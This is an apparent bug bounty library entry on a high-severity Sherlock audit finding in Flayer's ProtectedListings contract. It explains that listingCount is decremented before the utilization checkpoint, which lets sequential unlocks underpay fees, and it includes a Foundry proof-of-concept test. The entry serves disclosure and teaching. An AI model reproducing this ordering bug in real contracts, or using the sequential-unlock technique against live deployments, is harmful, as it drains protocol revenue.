# User can pay less protected listing fees.

Flayer's unlockProtectedListing decrements listingCount before creating the utilization checkpoint, so unlocking multiple protected listings charges less fee than owed.

- Payout: Audit contest
- Severity: high
- Program: Flayer
- Found by: dany.armstrong90
- Disclosed: 2024-08-06
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/243
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-flayer%3AH-7
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:fee-bypass

**Target:** ProtectedListings.unlockProtectedListing (Solidity contract)
**Root cause:** listingCount[_collection] is decremented before _createCheckpoint, so the checkpoint's utilization rate is computed from an already-reduced listing count, understating the unlock price for subsequent unlocks.
**Steps:**
1. Mint two ERC721 tokens and approve ProtectedListings.
2. createListings for tokenIds 0 and 1 with tokenTaken 0.4 ether.
3. vm.warp 7 days.
4. unlockProtectedListing(collection, 0, true): unlockPrice = 402485479451875840.
5. unlockProtectedListing(collection, 1, true): unlockPrice = 402055890410801920, lower than token 0 despite same conditions.
**How found:** Code reading of unlockProtectedListing noticed the --listingCount at L311 precedes _createCheckpoint at L325, and that checkpoint utilization depends on listingCount; confirmed with a two-token PoC comparing unlockPrice before/after.
**Exploitation:** Owner of multiple protected listings unlocks them sequentially; each unlock after the first uses a checkpoint computed with a lower listingCount, yielding a lower unlockPrice and thus lower fee burned, leaking protocol revenue.
**Insight:** When a fee/price is derived from a utilization ratio, check whether state that feeds the ratio is mutated before the checkpoint snapshot; sequential operations can each read a stale, favorable ratio.

## Proof of concept (copied exactly from the original report)

**Test unlocking two protected listings, second pays less**

```
function test_unlockProtectedListingError() public {
        erc721a.mint(address(this), 0);
        erc721a.mint(address(this), 1);
        
        erc721a.setApprovalForAll(address(protectedListings), true);

        uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;

        // create protected listing for tokenId = 0 and tokenId = 1
        IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
        _listings[0] = IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIds,
            listing: IProtectedListings.ProtectedListing({
                owner: payable(address(this)),
                tokenTaken: 0.4 ether,
                checkpoint: 0
            })
        });
        protectedListings.createListings(_listings);

        vm.warp(block.timestamp + 7 days);

        // unlock protected listing for tokenId = 0
        assertEq(protectedListings.unlockPrice(address(erc721a), 0), 402485479451875840);
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), 402485479451875840);
        protectedListings.unlockProtectedListing(address(erc721a), 0, true);

        // unlock protected listing for tokenId = 0, but the unlock price for tokenId = 1 is 402055890410801920 < 402485479451875840 for tokenId = 0.
        assertEq(protectedListings.unlockPrice(address(erc721a), 1), 402055890410801920);
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), 402055890410801920);
        protectedListings.unlockProtectedListing(address(erc721a), 1, true);
    }
```

